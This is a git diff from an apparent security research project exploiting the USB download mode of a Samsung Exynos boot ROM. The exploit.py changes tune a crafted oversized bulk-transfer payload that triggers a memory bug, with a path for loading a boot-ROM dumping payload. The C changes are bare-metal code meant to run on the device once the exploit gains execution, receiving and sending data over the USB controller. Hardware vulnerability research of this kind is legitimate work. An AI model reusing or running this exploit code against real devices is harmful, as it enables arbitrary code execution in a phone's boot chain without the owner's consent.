diff --git a/dwc3.bin b/dwc3.bin
index e800078..2a61d94 100755
Binary files a/dwc3.bin and b/dwc3.bin differ
diff --git a/dwc3.elf b/dwc3.elf
index 61b2b6f..2bf5e44 100755
Binary files a/dwc3.elf and b/dwc3.elf differ
diff --git a/dwc3.o b/dwc3.o
index aff8e12..a372f27 100644
Binary files a/dwc3.o and b/dwc3.o differ
diff --git a/exploit.py b/exploit.py
index 0275fd9..a81e53d 100644
--- a/exploit.py
+++ b/exploit.py
@@ -82,7 +82,7 @@ class ExynosDevice():
         # self.write(b"\xaa" * CHUNK_SIZE, CHUNK_SIZE)
         
         transferred = ctypes.c_int()
-        bug_payload = p32(0) + p32(MAX_PAYLOAD_SIZE + 0x100) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
+        bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
         bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
         res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
         assert res == 0
@@ -91,8 +91,10 @@ class ExynosDevice():
         res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
         assert res == 0
         
-        payload = b"\xaa" * (0x401 - (MAX_PAYLOAD_SIZE - 0x200))
+        payload = b"\xaa" * 0x200
         res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
+        while True:
+            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
         pass
 
     def test_bug(self):
@@ -278,6 +280,7 @@ if __name__ == "__main__":
     # wait_for_device()
     exynos = ExynosDevice()
     exynos.test_bug_2()
+    sys.exit(0)
     path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
     # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
     exynos.exploit(open(path, "rb").read())
diff --git a/test_dwc3.c b/test_dwc3.c
index eb14a87..d39f0b2 100644
--- a/test_dwc3.c
+++ b/test_dwc3.c
@@ -10,25 +10,16 @@ extern void sleep(int endpoint,uint32_t timeout);
 #define recv_buffer 0x02021800 + 0x2000
 #define data_received 0x02021800 + 0x2004
 
-//   do {
-//                     /* loops until image has been received */
-//     usb_event_handler();
-//     iVar2 = download_ready?(); #TODO, set some global to indicate readyness
-//   } while (iVar2 == 0);
-
 void recv_data_cb(uint32_t endpoint, uint32_t len){
     void *rbuf;
     void *dest_buf = (void *)recv_buffer;
     volatile void *dref = (void *)data_received;
     
+    rbuf = get_endpoint_buffer(endpoint);
     for(int i= 0; i < len; i++){
-        rbuf = get_endpoint_buffer(2);
         *(char *)dest_buf = *(char *)(void *)((int)rbuf + i);
     }
-    // while(1){}
-    // asm("mov x0, #0x0");
-    // asm("br x0");
-    *(uint8_t *)dref = 3;
+    *(uint8_t *)dref = 1; // Mark as ready
 }
 
 void recv_data(){
@@ -38,18 +29,61 @@ void recv_data(){
     volatile void *dref = (void *)data_received;
     *(uint8_t *)dref = 0;
 
-    maybe_usb_setup_read(2, recv_data_cb, 1);
+    maybe_usb_setup_read(2, recv_data_cb, 0x200);
+    void *rbuf = get_endpoint_buffer(2);
+    dwc3_ep0_start_trans(2, (uint32_t)rbuf, 0x200);
     while(1){
         usb_event_handler();
-        if(*(uint8_t *)dref == 3){
+        if(*(uint8_t *)dref == 1){
             break;
         }
-        sleep(1, 10);
     }
 }
 
+void send_data(uint32_t *address, uint32_t size)
+{
+    // asm("stp	x29, x30, [sp,#-48]!");;
+    // asm("mov	w3, #0x0");
+    // asm("bfxil	w3, w1, #0, #24");
+    // asm("mov	w1, #0xc12");
+    // asm("mov	x29, sp");
+    // asm("stp	x19, x20, [sp,#16]");
+    // asm("mov	x5, #0xc834");
+    // asm("mov	w20, #0x1");
+    // asm("movk	x5, #0x1540, lsl #16");
+    // asm("ldr	x2, [x29,#40]");
+    // asm("mov	x4, #0xc838");
+    // asm("orr	w6, w1, w20");
+    // asm("movk	x4, #0x1540, lsl #16");
+    // asm("mov	x19, #0xc83c");
+    // asm("movk	x19, #0x1540, lsl #16");
+    // asm("stp	w3, w1, [x2,#8]");
+    // asm("mov	w3, #0x406");
+    // asm("stp	w0, wzr, [x2]");
+    // asm("mov	w0, w20");
+    // asm("ldr	x1, [x29,#40]");
+    // asm("strb	w6, [x2,#12]");
+    // asm("mov	x2, #0x27c8");
+    // asm("str	w1, [x5]");
+    // asm("mov	w1, #0x1388");
+    // asm("str	wzr, [x4]");
+    // asm("str	w3, [x19]");
+    // asm("blr	x2");
+    // asm("mov	w0, w20");
+    // asm("ldr	w1, [x19]");
+    // asm("ldp	x19, x20, [sp,#16]");
+    // asm("ldp	x29, x30, [sp],#48");
+    // asm("ret");
+}
+
 int main() {
-    recv_data();
+    while(1){
+        recv_data();
+        send_data((uint32_t *) recv_buffer, 0x200);
+    }
+    
+    
+
     // recv_data();
     // sleep(1, 5000);
     asm("mov x0, #0x0");